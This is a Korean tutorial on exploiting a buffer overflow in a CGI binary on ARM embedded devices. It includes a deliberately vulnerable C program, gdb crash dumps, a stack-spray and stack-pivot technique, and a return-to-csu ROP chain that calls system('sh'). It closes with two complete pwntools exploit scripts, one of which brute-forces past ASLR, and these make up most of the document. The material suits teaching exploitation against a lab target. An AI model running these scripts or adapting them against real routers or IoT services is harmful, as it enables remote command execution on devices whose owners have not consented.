목차
Common ways to exploit CGI Buffer overflow.
다양한 임베디드 서비스 및 IoT에서 사용되는 CGI 프로그램을 공격하는 일반적인 방법에 대해 알아 보겠습니다.
Common Gateway Interface
CGI는 웹 서버상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있습니다. CGI는 환경변수나 표준입출력을 다룰 수 있는 프로그램 언어에서라면 언어의 구별을 묻지 않고 확장하여 이용하는 것이 가능하나, 실행속도나 텍스트 처리의 용이함 등의 균형에 의해 펄이 사용되는 경우가 많았습니다.[^1]
CGI는 주로 Router, NAS와 같은 다양한 Embedded device, IoT Service를 위해 사용됩니다.
| Server
|
+--------+ | +-------------+ +-------------+
| Client |<=---HTTP---=>| HTTP Server |<=---=>| CGI Program |
+--------+ | +-------------+ +-------------+
|
|CGI: How-to
Lighttpd[^2]와 같이 HTTP 프로토콜을 처리하여 CGI 프로그램으로 전달 할 수 있는 웹 서버 역할을 하는 프로그램을 한가지 선정합니다. 그 후에 CGI 규약에 맞게 프로그램을 작성하면 됩니다. 본 챕터에서는 공격하기 위해 알아야하는 몇가지를 설명하겠습니다.
환경변수
환경변수에는 HTTP 프로토콜을 통해 클라이언트에게 제공받은 정보가 저장됩니다.
임의로 변조된 사용자의 값이 전달 될 수 있는 벡터는 다음과 같습니다.[^3]
HTTP_COOKIE: 클라이언트의 Cookie입니다.HTTP_USER_AGENT: 클라이언트의 User agent입니다.QUERY_STRING: 클라이언트에게 제공받은GET쿼리 문자열입니다.
표준입출력
표준 출력을 통해 cgi 페이지로 접근한 클라이언트에게 그 내용을 전달할 수 있습니다.
POST와 같은 HTTP Method를 서비스 하기 위해 CGI에서는 표준입력을 사용합니다. POST의 데이터를 전달 받기 위해서는 단순히 표준입력을 받기만 하면 우리는 POST를 통해 전달 된 데이터를 받아낼 수 있습니다.
CGI 공격
vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char *param;
int param_count;
static inline char h2c(char h) // F -> 15
{
if (h >= 'a' && h <= 'f')
return h - 'a' + 0xa;
if (h >= 'A' && h <= 'F')
return h - 'A' + 0xa;
return h - '0';
}
char u2c(char *u) // %00 -> \x00
{
char ret = 0;
if (*u == '%')
{
ret += h2c(*(u+1)) * 0x10;
ret += h2c(*(u+2)) * 0x01;
}
return ret;
}
int urldecode(char *s)
{
int index1 = 0;
int index2 = 0;
if (!s)
return 1;
if (s[index2] == '?')
index2++;
param = s;
param_count = 0;
while (s[index2])
{
if (s[index2] == '%')
{
s[index1++] = u2c(s+index2);
index2 += 3;
}
else if (s[index2] == '&')
{
s[index1++] = '\0';
index2++;
}
else
{
if (s[index2] == '=')
param_count++;
s[index1++] = s[index2++];
}
}
s[index1] = '\0';
return 0;
}
int get_val(char *name, char *dest, size_t size)
{
int err = 1;
char *param_c = param;
size_t param_len = strlen(param_c);
size_t name_len = strlen(name);
if (!param || !param_count)
{
printf("no query.\n");
return 1;
}
for (int i = 0; i < param_count; i++)
{
if (!memcmp(name, param_c, name_len) && param_c[name_len] == '=')
{
param_c += name_len + 1;
strncpy(dest, param_c, size);
err = 0;
break;
}
else
{
param_c += param_len+1;
param_len = strlen(param_c);
}
}
return err;
}
int main(int argc, char **argv, char **envp)
{
char out[512];
char cmd[256];
char buf[256];
if (urldecode(getenv("QUERY_STRING")))
{
printf("urldecode error.\n");
return -1;
}
memset(out, 0, sizeof(out));
memset(cmd, 0, sizeof(cmd));
memset(buf, 0, sizeof(buf));
if (!get_val("time", buf, sizeof(buf)) && buf[0] == 'y')
strcat(cmd, "echo '- time ------' >> /tmp/out && date >> /tmp/out;");
if (!get_val("ifconfig", buf, sizeof(buf)) && buf[0] == 'y')
strcat(cmd, "echo '- ifconfig --' >> /tmp/out && ifconfig bond0 >> /tmp/out;");
if (!get_val("uname", buf, sizeof(buf)) && buf[0] == 'y')
strcat(cmd, "echo '- uname -----' >> /tmp/out && uname -a >> /tmp/out;");
system("rm -f /tmp/out");
system(cmd);
int fd;
if ((fd = open("/tmp/out", O_RDONLY)) < 0)
return -1;
read(fd, out, sizeof(out));
close(fd);
if (!get_val("comment", buf, 0x100))
strcat(out, buf);
puts(out);
return 0;
}위 샘플 코드는 시스템의 time, ifconfig, uname의 결과값을 출력 해 주는 간단한 프로그램입니다.
L109QUERY_STRING을 통해 인풋 받는GETQuery의 디코딩을 처리합니다.L119~124time,ifconfig,uname을 실행하는 명령어 조합을cmd버퍼에 복사합니다.L126~127/tmp/out을 삭제 후cmd버퍼의 내용대로 명령어를 실행합니다.L129~133/tmp/out파일을 읽어out버퍼에 복사합니다.L135~136comment의 값이 유효할 경우 그 값을out버퍼에 복사합니다.L138out을 출력합니다.
L136에서 strncat 대신 strcat[^4]을 사용하기 때문에, out 버퍼에 이미 많은 양의 데이터가 채워져 있을 경우의 예외를 처리하지 않습니다. 이로 인해 Buffer overflow[^5]가 발생하게 됩니다.
취약점 증명
취약점을 증명하기 위해 간단히 웹 브라우저를 사용할 수 있습니다.

위는 정상적인 프로그램의 실행 흐름을 나타냅니다.

위는 다수의 데이터를 comment 파라미터를 통해 전달 할 경우를 보여줍니다.
Lighttpd의 경우 다음과 같이 core dump를 활성화 시킬 수 있습니다. cgi 프로그램이 존재하는 디렉토리에 core dump가 생성됩니다.
$ echo 'server.core-files = "enable"' >> /etc/lighttpd.conf
$ kill -9 `pidof lighttpd`
$ lighttpd -f /etc/lighttpd.conf -m /usr/local/lib그 후, 해당 프로그램의 core dump를 확인합니다.
/home/314ckC47 # ./gdb -q -c /path/to/core
[New LWP 6007]
Core was generated by `vuln.cgi'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616160 in ?? ()
(gdb) i r pc
pc 0x61616160 0x61616160$pc 레지스터가 변조 된 것을 알 수 있습니다.
공격 제약
일반적인 BOF 공격은 Return Oriented Programming(ROP)[^6]을 주로 사용합니다.
하지만 이번 취약점을 공격하기에는 몇가지 제약이 있습니다.
- 문자열 복사를 통해 발생하는 Buffer overflow이기 때문에, ROP Payload에 Null byte가 포함 될 경우 성공적으로 공격을 수행할 수 없습니다.
- 공격에 사용할 수 있는 정적인 주소가 프로그램(vuln.cgi)이 로드 된 지점밖에 없습니다.
- 프로그램이 로드 된 주소값의 상위 1바이트는 Null-byte입니다.
이런 상황에서 구상할 수 있는 Payload는 다음과 같습니다.
<= 0x00000000 0xffffffff =>
+-----+-(out)---------------+-(BP)-+-(PC)-+-----+
| ... | ............ 'a'*63 | BASE | JUMP | ... |
+-----+---------------------+------+------+-----+
=== Overflow ==>JUMP에는 상위 1바이트가 Null-byte인 주소값을 삽입할 수 있습니다.BASE에는 Null-byte가 존재하지 않는 어떤 값을 삽입할 수 있습니다.
이런 모든 조건을 종합 해 보았을 때, 우리는 다음과 같이 공격을 구상해야합니다.
PC를 단 한번 변조하여 공격자가 원하는 코드의 흐름을 획득 해야합니다.- 연속적인 함수의 호출 또는 인자의 구성을 위해 Null-byte를 삽입할 수 있는 영역이 필요합니다.
- 연속적인 함수의 호출 또는 인자의 구성을 위해
SP를 변조할 수 있어야 합니다.
Stack spray
QUERY_STRING 환경변수는 스택에 저장되어 있습니다. 이를 활용하면 다음과 같이 Stack spray를 시도 할 수 있습니다.
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
def form_packet(ip, param):
packet = ""
packet += "GET http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: 0\r\n"
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
return packet.encode()
def form_param(payload, spray):
return "&".join(["ifconfig=y", "comment="+payload, "s="+spray])
def exploit(ip):
payload = 'a'*63 + "STCK" + "JUMP"
spray = 'b'*0x10000
param = form_param(payload, spray)
packet = form_packet(ip, param)
p = remote(ip, 80)
p.send(packet)
r = p.recv(1024).decode()
log.info(r)
p.close()
if __name__ == "__main__":
if (len(sys.argv) == 2):
exploit(sys.argv[1])
else:
print("{} [target-ip]".format(sys.argv[0]))실제로 스택에 스프레이가 되었는지 확인합니다.
(gdb) x/16wx $sp+0x380
0xbec65db8: 0x61616161 0x61616161 0x61616161 0x61616161
0xbec65dc8: 0x64646161 0x44446464 0x73004444 0x6262623d
0xbec65dd8: 0x62626262 0x62626262 0x62626262 0x62626262
0xbec65de8: 0x62626262 0x62626262 0x62626262 0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbec75db8: 0x62626262 0x62626262 0x62626262 0x62626262
0xbec75dc8: 0x62626262 0x62626262 0x62626262 0x45520062
0xbec75dd8: 0x53455551 0x52555f54 0x762f3d49 0x2e6e6c75
0xbec75de8: 0x3f696763 0x6f636669 0x6769666e 0x6326793d
(gdb)스프레이가 잘 되었음을 확인 했습니다.
또한 Null-byte의 삽입이 가능한지의 여부를 확인합니다.
# ...
def exploit(ip):
payload = 'a'*63 + 'dddd' + 'DDDD'
spray = '%00'*4 + 'b'*(0x10000-12)
param = form_param(payload, spray)
packet = form_packet(ip, param)
# ...4바이트의 null을 삽입 해 봅니다.
(gdb) x/16wx $sp+0x380
0xbed44db8: 0x61616161 0x61616161 0x61616161 0x61616161
0xbed44dc8: 0x64646161 0x44446464 0x73004444 0x0000003d
0xbed44dd8: 0x62626200 0x62626262 0x62626262 0x62626262
0xbed44de8: 0x62626262 0x62626262 0x62626262 0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbed54db8: 0x62626262 0x62626262 0x62626262 0x62626262
0xbed54dc8: 0x62626262 0x62620062 0x62626262 0x45520062
0xbed54dd8: 0x53455551 0x52555f54 0x762f3d49 0x2e6e6c75
0xbed54de8: 0x3f696763 0x6f636669 0x6769666e 0x6326793d
(gdb)Null-byte를 삽입할 수 있는 영역임을 확인 했습니다.
Stack Pointer 변조
armv7에서 R11 레지스터는 x86의 ebp와 같은 역할을 수행합니다.
(gdb) disas main
...
0x00010c9c <+624>: mov r0, r3 // -- main epilogue --
0x00010ca0 <+628>: sub sp, r11, #4 // r11(bp)에서 4를 뺀 값을 sp에 저장합니다.
0x00010ca4 <+632>: pop {r11, pc} // 스택에서 r11, pc를 순차적으로 pop합니다.
...이를 활용하면 Stack pointer(sp)를 변조할 수 있습니다.
아래와 같은 순서의 명령을 수행한다고 가정합니다.
### Stage 1 ######################################################
+-Code-------------+---------------------------------------------+
| pc > 0x00010ca0 | sub sp, r11, #4 |
| 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f00 |
| r11 0xbfff8f14 |
+----------------------------------------------------------------+
### Stage 2 ######################################################
+-Code-------------+---------------------------------------------+
| 0x00010ca0 | sub sp, r11, #4 |
| pc > 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f10 * |
| r11 0xbfff8f14 |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.
### Stage 3 ######################################################
+-Code-------------+---------------------------------------------+
| pc > 0x00010ca0 | sub sp, r11, #4 |
| 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f10 |
| r11 0xbfff8f24 * |
+----------------------------------------------------------------+
* sp(0xbfff8f10)에서 r11, pc를 pop 했습니다.
### Stage 4 ######################################################
+-Code-------------+---------------------------------------------+
| 0x00010ca0 | sub sp, r11, #4 |
| pc > 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f20 * |
| r11 0xbfff8f24 |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.
sp의 값이 우리가 원하는 값(0xbfff8f20)으로 변조되었습니다.
### Stage 5 ######################################################
+-Code-------------+---------------------------------------------+
| pc > 0x41414141 | ........................................... |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f28 |
| r11 0x41414141 |
+----------------------------------------------------------------+
* pc와 r11이 변조되었습니다.위와 같은 방법으로 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있습니다.
공격코드 작성
위 두가지 방법을 이용하면 다음과 같은 흐름으로 공격을 수행합니다.
QUERY_STRING을 전달함으로 BOF를 발생시키고, 스택에 ROP Payload를 spray합니다.SP를 Stack spray된 영역으로 변조합니다.- ROP Payload를 수행합니다.
- ASLR이 비활성화 되어있으면, ROP Payload를 즉각적으로 수행 할 수 있습니다.
- ASLR이 활성화 되어있으면,
SP가 잘못된 영역을 역참조 할 수 있습니다. 이럴경우, 1을 다시 수행합니다.
Case: ASLR 비활성화
다음과 같이 ASLR을 비활성화 할 수 있습니다.
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0ASLR이 비활성화 된 후, 스프레이를 먼저 수행하여 core dump를 확인합니다.
(gdb) x/32wx $sp+0x380
0xbefe1d98: 0x6161616b 0x6161616c 0x6161616d 0x6161616e
0xbefe1da8: 0xbefe1ddc 0x44444444 0x3d737300 0x41414141
0xbefe1db8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1dc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1dd8: 0x41414141 0x41414141 0x41414141 0x41414141Stack spray가 0xbefe1db4에서 시작합니다. 해당 주소로 sp를 변조합니다.
SPRAY_LEN = 0xf000
leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
def payload(r11, lr, dummy_len):
payload = cyclic(dummy_len).decode()
payload += purl32(r11)
payload += purl32(lr)
return payload
def spray():
spray = "A"*SPRAY_LEN
return spray
def exploit():
# ...
stack = 0xbefe1db4+4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
# ...위의 코드를 실행 후 다시 gdb로 확인합니다.
(gdb) x/16wx $sp-0x10
0xbefe1dac: 0x00010ca0 0x3d737300 0x41414141 0x41414141
0xbefe1dbc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1dcc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1ddc: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) i r pc
pc 0x41414140 0x41414140
(gdb)정상적으로 pc가 변조되었습니다.
Return sled
Return sled를 이용하여 스프레이한 영역의 어느곳으로 sp, pc가 변조되어도 공격자의 ROP Payload가 실행되도록 합니다.
0x00010ca4: pop {r11, pc}
0x000108e0: pop {r4, r11, pc}위의 두 가젯을 활용합니다.
...
| 0x00010ca4
| 0x00010ca4
| 0x000108e0
| 0x00010ca4 # r4
| 0x41414141 # r11
V [ROP HERE] # pcdef spray():
# ...
spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
spray += rop
return sprayROP
Return-to-csu를 활용합니다.
def chain(func, r0, r1, r2):
c = ''
c += purl32(0x00000000) # r4
c += purl32(func) # [r5] => r3
c += purl32(0x00000000) # r6
c += purl32(r0) # r7 => r0
c += purl32(r1) # r8 => r1
c += purl32(r2) # r9 => r2
c += purl32(0x00000000) # r10
c += purl32(csu_2) # pc
return c
def spray():
#...
# Return-to-csu.
rop = purl32(csu_1)
# Set bss:0x20 to get_val address.
for i in range(4):
addr = e.bss(0x20+i)
value = e.symbols['get_val'] >> (i*8) & 0xff
rop += chain(e.got['memset'], addr, value, 1)
# get_val("t", bss:0x24, 2): returns "sh"
rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
#...chain()함수는 Return-to-csu 가젯을 자동으로 구성 해 줍니다.L18~22:bss:0x20지점에get_val함수의 포인터를 작성합니다.L25:get_val함수를 이용해QUERY_STRING에서t쿼리의 값을bss:0x24지점에 작성합니다. 그 값은"sh"입니다.L26:system함수를 이용해 쉘을 실행시킵니다.
명령어 전달
ROP Payload가 수행되고 나면, 쉘 프로세스가 실행되고, 명령어 입력까지 대기합니다.
POST 메소드를 이용해 Standard input으로 쉘 명령을 전달하여 실행시킵니다.
def form_packet(ip, param, content=''):
packet = ""
packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: {}\r\n".format(len(content))
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
packet += content
packet += "\r\n"
return packet.encode()안정화 작업
def exploit(ip, command):
# ifconfig's output length is not fixed.
# So, we need to get the buffer first to calculate
# the overflow size.
log.info("Getting buffer.")
packet = form_packet(ip, form_param())
p = remote(ip, 80)
p.send(packet)
r = p.recv().decode()
r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
dummy_len = 0x204 - len(r)
p.close()
log.info("Exploit.")
stack = 0xbefe1db4+4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
p = remote(ip, 80)
p.send(packet)
p.close()
log.info("Success!")ifconfig 명령의 출력값의 길이가 고정되어있지 않습니다.
오버플로우 사이즈를 안정적으로 계산하기 위해 ifconfig 명령 결과 버퍼의 길이값을 측정하고, 계산합니다.
no-ASLR 공격 코드
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12
# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1 = 0x00010d28
csu_2 = 0x00010d0c
leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
# ETC.
str_t = 0x10e66
def purl32(value):
a = (value & 0x000000ff) >> 0
b = (value & 0x0000ff00) >> 8
c = (value & 0x00ff0000) >> 16
d = (value & 0xff000000) >> 24
return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
def form_packet(ip, param, content=''):
packet = ""
packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: {}\r\n".format(len(content))
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
packet += content
packet += "\r\n"
return packet.encode()
def form_param(payload='', spray=''):
p = ["t=sh", "ifconfig=y"]
if payload:
p.append("comment="+payload)
if spray:
p.append("ss="+spray)
return "&".join(p)
def payload(r11, lr, dummy_len=54):
payload = cyclic(dummy_len).decode()
payload += purl32(r11)
payload += purl32(lr)
return payload
def chain(func, r0, r1, r2):
c = ''
c += purl32(0x00000000) # r4
c += purl32(func) # [r5] => r3
c += purl32(0x00000000) # r6
c += purl32(r0) # r7 => r0
c += purl32(r1) # r8 => r1
c += purl32(r2) # r9 => r2
c += purl32(0x00000000) # r10
c += purl32(csu_2) # pc
return c
def spray():
# If we already got spray buffer, use it.
global spray_fix
if len(spray_fix):
return spray_fix
# Return-to-csu.
rop = purl32(csu_1)
# Set bss:0x20 to get_val address.
for i in range(4):
addr = e.bss(0x20+i)
value = e.symbols['get_val'] >> (i*8) & 0xff
rop += chain(e.got['memset'], addr, value, 1)
# get_val("t", bss:0x24, 2): returns "sh"
rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
# system("sh")
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
# Forming spray.
spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
spray += rop
# Fix the spray buffer.
spray_fix = spray
return spray
def exploit(ip, command):
# ifconfig's output length is not fixed.
# So, we need to get the buffer first to calculate
# the overflow size.
log.info("Getting buffer.")
packet = form_packet(ip, form_param())
p = remote(ip, 80)
p.send(packet)
r = p.recv().decode()
r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
dummy_len = 0x204 - len(r)
p.close()
log.info("Exploit.")
stack = 0xbefe1db4+4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
p = remote(ip, 80)
p.send(packet)
p.close()
log.info("Success!")
if __name__ == "__main__":
if (len(sys.argv) == 3):
exploit(sys.argv[1], sys.argv[2])
else:
print("{} [target-ip] [shell command]".format(sys.argv[0]))bc@machine $ ./exploit.py 172.16.13.9 'echo PWNED > /tmp/pwned'
[*] '/mnt/c/Users/314ckC47/Documents/CGI Exploitation/source/vuln'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
[*] Getting buffer.
[*] Exploit.
[*] Success!/home/314ckC47 $ cat /tmp/pwned
PWNEDCase: ASLR 활성화
다음과 같이 ASLR을 활성화합니다.
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0종료 조건
sp가 참조하는 지점에 대해 Brute-forcing을 수행합니다.
Brute-forcing의 종료 조건을 위해 ROP Payload가 성공적으로 수행 될 경우 프로그램을 abort시켜 500 Internal error를 발생시키지 않도록 합니다.
# system("sh")
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
# abort
rop += "AAAA"*7 + purl32(abort)ASLR 공격 코드
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12
# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1 = 0x00010d28
csu_2 = 0x00010d0c
leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
# ETC.
str_t = 0x00010e66
abort = 0x0001055c
def purl32(value):
a = (value & 0x000000ff) >> 0
b = (value & 0x0000ff00) >> 8
c = (value & 0x00ff0000) >> 16
d = (value & 0xff000000) >> 24
return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
def form_packet(ip, param, content=''):
packet = ""
packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: {}\r\n".format(len(content))
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
packet += content
packet += "\r\n"
return packet.encode()
def form_param(payload='', spray=''):
p = ["t=sh", "ifconfig=y"]
if payload:
p.append("comment="+payload)
if spray:
p.append("ss="+spray)
return "&".join(p)
def payload(r11, lr, dummy_len=54):
payload = cyclic(dummy_len).decode()
payload += purl32(r11)
payload += purl32(lr)
return payload
def chain(func, r0, r1, r2):
c = ''
c += purl32(0x00000000) # r4
c += purl32(func) # [r5] => r3
c += purl32(0x00000000) # r6
c += purl32(r0) # r7 => r0
c += purl32(r1) # r8 => r1
c += purl32(r2) # r9 => r2
c += purl32(0x00000000) # r10
c += purl32(csu_2) # pc
return c
def spray():
# If we already got spray buffer, use it.
global spray_fix
if len(spray_fix):
return spray_fix
# Return-to-csu.
rop = purl32(csu_1)
# Set bss:0x20 to get_val address.
for i in range(4):
addr = e.bss(0x20+i)
value = e.symbols['get_val'] >> (i*8) & 0xff
rop += chain(e.got['memset'], addr, value, 1)
# get_val("t", bss:0x24, 2): returns "sh"
rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
# system("sh")
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
# abort
rop += "AAAA"*7 + purl32(abort)
# Forming spray.
spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
spray += rop
# Fix the spray buffer.
spray_fix = spray
return spray
def exploit(ip, command):
# ifconfig's output length is not fixed.
# So, we need to get the buffer first to calculate
# the overflow size.
log.info("Getting buffer.")
packet = form_packet(ip, form_param())
p = remote(ip, 80)
p.send(packet)
r = p.recv().decode()
r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
dummy_len = 0x204 - len(r)
p.close()
log.info("Exploit.")
while True:
stack = 0xbefe1dd4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
p = remote(ip, 80)
p.send(packet)
r = p.recv()
p.close()
if r.find(b"200 OK") != -1:
break
log.info("Success!")
if __name__ == "__main__":
if (len(sys.argv) == 3):
exploit(sys.argv[1], sys.argv[2])
else:
print("{} [target-ip] [shell command]".format(sys.argv[0]))끝내면서
CGI를 공격하는 방법에 대해 알아보았습니다. 일반적으로 웹 CGI 프로그램 혹은 CGI는 문자열을 처리하는 코드가 많습니다. 문자열을 처리하는 코드에서 주로 발생할 수 있는 String copy buffer overflow의 공격 방법에 대해 알아보았고, 안정적인 공격 코드를 작성하는 법에 대해 알아 보았습니다.
추가적인 질문 사항과 수정사항은 [email protected]으로 남겨 주시면 감사하겠습니다.
[^`1]: Wikipedia: 공용 게이트웨이 인터페이스 [^2]: https://www.lighttpd.net/ [^3]: CGI Environment Variables [^4]: strcat [^5]: Buffer overflow
[^6]: Return oriented programming